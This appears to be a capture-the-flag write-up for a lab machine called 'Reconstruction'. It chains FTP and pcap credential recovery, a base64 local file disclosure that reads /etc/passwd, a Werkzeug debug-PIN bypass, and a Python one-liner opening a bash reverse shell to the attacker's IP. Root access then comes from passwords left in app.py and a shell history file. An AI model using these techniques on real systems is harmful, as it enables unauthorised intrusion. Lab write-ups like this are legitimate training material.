Reconstruction - OSPG
Executive Summary
We’ll secure an initial foothold by abusing local file inclusion vulnerability to reconstruct the Wekzeug
web application’s PIN console
. Privilege escalation can then be done via a disclosure of root
credentials in a history file.
Enumeration
Nmap
We’ll begin with a nmap
scan.
$ nmap --open -sV -A -p- -vv -n -Pn -oN nmap/services 192.168.59.103
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 2 0 0 4096 Apr 29 2020 WebSOC
|_-rw-r--r-- 1 0 0 137 Apr 29 2020 note.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.49.59
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 5
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
8080/tcp open http syn-ack ttl 63 Werkzeug httpd 1.0.1 (Python 3.6.9)
| http-methods:
|_ Supported Methods: HEAD GET OPTIONS
|_http-server-header: Werkzeug/1.0.1 Python/3.6.9
|_http-title: Blog
There are a few open
services, let’s start with directory enumeration.
Ffuf
We’ll employ ffuf
to gather hidden files and directories.
- For files:
$ ffuf -u http://192.168.226.103:8080/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt
console [Status: 200, Size: 1985, Words: 411, Lines: 53]
- For directories:
$ ffuf -u http://192.168.226.103:8080/FUZZ/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
create [Status: 302, Size: 257, Words: 22, Lines: 4]
data [Status: 302, Size: 253, Words: 22, Lines: 4]
drafts [Status: 302, Size: 257, Words: 22, Lines: 4]
login [Status: 200, Size: 2297, Words: 545, Lines: 76]
logout [Status: 200, Size: 2011, Words: 486, Lines: 67]
The outputs reveal a few interesting entries. Let’s us now focus on the FTP
service.
FTP Enumeration
With the anonymous:anonymous
credentials, we successfully log in as anonymous
user.
$ ftp 192.168.226.103
Connected to 192.168.226.103.
220 (vsFTPd 3.0.3)
Name (192.168.226.103:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 3 0 115 4096 Sep 30 2020 .
drwxr-xr-x 3 0 115 4096 Sep 30 2020 ..
drwxr-xr-x 2 0 0 4096 Apr 29 2020 WebSOC
-rw-r--r-- 1 0 0 137 Apr 29 2020 note.txt
226 Directory send OK.
There are some interesting shares available for us to futher investigate. We can download them with get/mget
command.
ftp> get note.txt
local: note.txt remote: note.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note.txt (137 bytes).
226 Transfer complete.
137 bytes received in 0.00 secs (66.0361 kB/s)
ftp> cd WebSOC
250 Directory successfully changed.
ftp> mget *
mget 1.05.2020.pcap? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for 1.05.2020.pcap (3086771 bytes).
226 Transfer complete.
3086771 bytes received in 6.21 secs (485.1299 kB/s)
mget 29.04.2020.pcap? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for 29.04.2020.pcap (869677 bytes).
226 Transfer complete.
869677 bytes received in 3.09 secs (275.0035 kB/s)
mget 30.04.2020.pcap? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for 30.04.2020.pcap (14579662 bytes).
226 Transfer complete.
14579662 bytes received in 22.75 secs (625.9780 kB/s)
PCAP Enumeration
There are three .pcap
files spotted in the FTP
shares. Each of them performs different attacks replayed by the SOC team. If we look closely, the 1.05.2020.pcap
file divulges valid credentials for the web application.
Open the mentioned .pcap
with Wireshark
, the search string is:
http.request.method==POST
Follow TCP Stream
of the packet 5159
, the password is revealed.
HTTP Enumeration
Further enumeration, we discover the /console
let us execute python code, which we can leverage to secure an initial access.
However, it’s currently protected by a 9-digit PIN
number, an effective security solution to remediate password brute-force attempts.
Conducting a few more investigations, we acknowledge that it’s possible to reconstruct the PIN
number if local file inclusion vulnerability is available.
Exploitation
Local File Disclosure
The password from pcap
brings us to /data/
directory, which we can’t access in the first place.
- Navigate to the
/data/
dir, it returnedHello World!
.
$ curl -v http://192.168.226.103:8080/data/ -b 'session=eyJfcGVybWFuZW50Ijp0cnVlLCJsb2dnZWRfaW4iOnRydWV9.YYhdGQ.-62c3-7tzSkMTMvvyFRaQ6IczPQ'
* Trying 192.168.226.103:8080...
* Connected to 192.168.226.103 (192.168.226.103) port 8080 (#0)
> GET /data/ HTTP/1.1
> Host: 192.168.226.103:8080
> User-Agent: curl/7.74.0
> Accept: */*
> Cookie: session=eyJfcGVybWFuZW50Ijp0cnVlLCJsb2dnZWRfaW4iOnRydWV9.YYhdGQ.-62c3-7tzSkMTMvvyFRaQ6IczPQ
>
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-Type: text/html; charset=utf-8
< Content-Length: 13
< Vary: Cookie
< Set-Cookie: session=eyJfcGVybWFuZW50Ijp0cnVlLCJsb2dnZWRfaW4iOnRydWV9.YYhebg.r49IxaF8LKqT-Ew3s7Vnr71bIso; Expires=Wed, 08-Dec-2021 23:17:02 GMT; HttpOnly; Path=/
< Server: Werkzeug/1.0.1 Python/3.6.9
< Date: Sun, 07 Nov 2021 23:17:02 GMT
Hello World!
* Closing connection 0
To enumerate its behaviours, we’ll send some random words.
- The belows will demonstrate the idea …
$ curl -v http://192.168.226.103:8080/data/test -b 'session=eyJfcGVybWFuZW50Ijp0cnVlLCJsb2dnZWRfaW4iOnRydWV9.YYhdGQ.-62c3-7tzSkMTMvvyFRaQ6IczPQ'
...[code snip]...
> GET /data/test HTTP/1.1
> Host: 192.168.226.103:8080
...[code snip]...
>
...[code snip]...
< X-Error: 'utf-8' codec can't decode byte 0xb5 in position 0: invalid start byte
...[code snip]...
and …
$ curl -v http://192.168.226.103:8080/data/test1 -b 'session=eyJfcGVybWFuZW50Ijp0cnVlLCJsb2dnZWRfaW4iOnRydWV9.YYhdGQ.-62c3-7tzSkMTMvvyFRaQ6IczPQ'
> GET /data/test1 HTTP/1.1
> Host: 192.168.226.103:8080
...[code snip]...
>
...[code snip]...
< X-Error: Incorrect padding
...[code snip]...
Noticing the X-Error
response header, it might ask for a base64
encoded input.
Now, if we send dGVzdA==
(base64-encoded of “test”) …
$ curl -v http://192.168.226.103:8080/data/dGVzdA== -b 'session=eyJfcGVybWFuZW50Ijp0cnVlLCJsb2dnZWRfaW4iOnRydWV9.YYhdGQ.-62c3-7tzSkMTMvvyFRaQ6IczPQ'
...[code snip]...
> GET /data/dGVzdA== HTTP/1.1
> Host: 192.168.226.103:8080
...[code snip]...
>
...[code snip]...
< X-Error: [Errno 2] No such file or directory: 'test'
...[code snip]...
Something went wrong!
The No such file ...
response is worth to notice here.
Similarly, let’s us try sending a base64-encoded of /etc/passwd
…
$ curl -v http://192.168.226.103:8080/data/L2V0Yy9wYXNzd2Q= -b 'session=eyJfcGVyb
WFuZW50Ijp0cnVlLCJsb2dnZWRfaW4iOnRydWV9.YYhdGQ.-62c3-7tzSkMTMvvyFRaQ6IczPQ'
...[code snip]...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
From the output, we successfully include the passwd
file of the target system.
Werkzeug PIN Reconstruction
For more information of how to reconstruct the PIN
number, we can read this document and this document.
Primarily, the below image will best illustrate our vital changes in the code.
Try executing the program, we receive a 9-digit figures, which can be used to bypass the PIN
protection.
$ python3 pin_generator.py
287-863-218
Initial Foothold
At this point, code execution can be accomplished via abusing native os
python library.
From Interactive Console
, we execute the following code to confirm RCE is successfully achieved.
and the below command to pull off a rev shell.
__import__('os').popen("bash -c 'bash -i >& /dev/tcp/192.168.49.226/80 0>&1'").read()
After a second, our nc
listener should catch a callback as www-data
.
$ sudo nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.49.226] from (UNKNOWN) [192.168.226.103] 34128
bash: cannot set terminal process group (990): Inappropriate ioctl for device
bash: no job control in this shell
www-data@reconstruction:~/blog$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Privilege Escalation
Shell as jack
Locally enumerating divulges that jack
’s password stored in the app.py
at /var/www/blog/
directory.
www-data@reconstruction:~/blog$ grep -i "pass" app.py
grep -i "pass" app.py
import getpass
#ADMIN_PASSWORD = 'ee05d64d2528102d45e2db60986727ed' # jack password
ADMIN_PASSWORD = '1edfa9b54a7c0ec28fbc25babb50892e'
if request.method == 'POST' and request.form.get('password'):
password = request.form.get('password')
# password and do the comparison on the hashed versions.
if password == app.config['ADMIN_PASSWORD']:
flash('Incorrect password.', 'danger')
With this password, we can ssh
our way in as jack
.
System Compromised
Once again, root
’s password is located under the /home/jack/local/share/powershell/PSReadLine/ConsoleHost_history.txt
file.
jack@reconstruction:~/.local/share/powershell/PSReadLine$ cat ConsoleHost_history.txt
Write-Host -ForegroundColor Green -BackgroundColor White Holy **** this works!
Write-Host -ForegroundColor Red -BackgroundColor Black Holy **** this works as well!
su FlauntHiddenMotion845 # root password
clear history
clear
cls
exit
jack@reconstruction:~/.local/share/powershell/PSReadLine$ su - root
Password: FlauntHiddenMotion845
root@reconstruction:~# id
uid=0(root) gid=0(root) groups=0(root)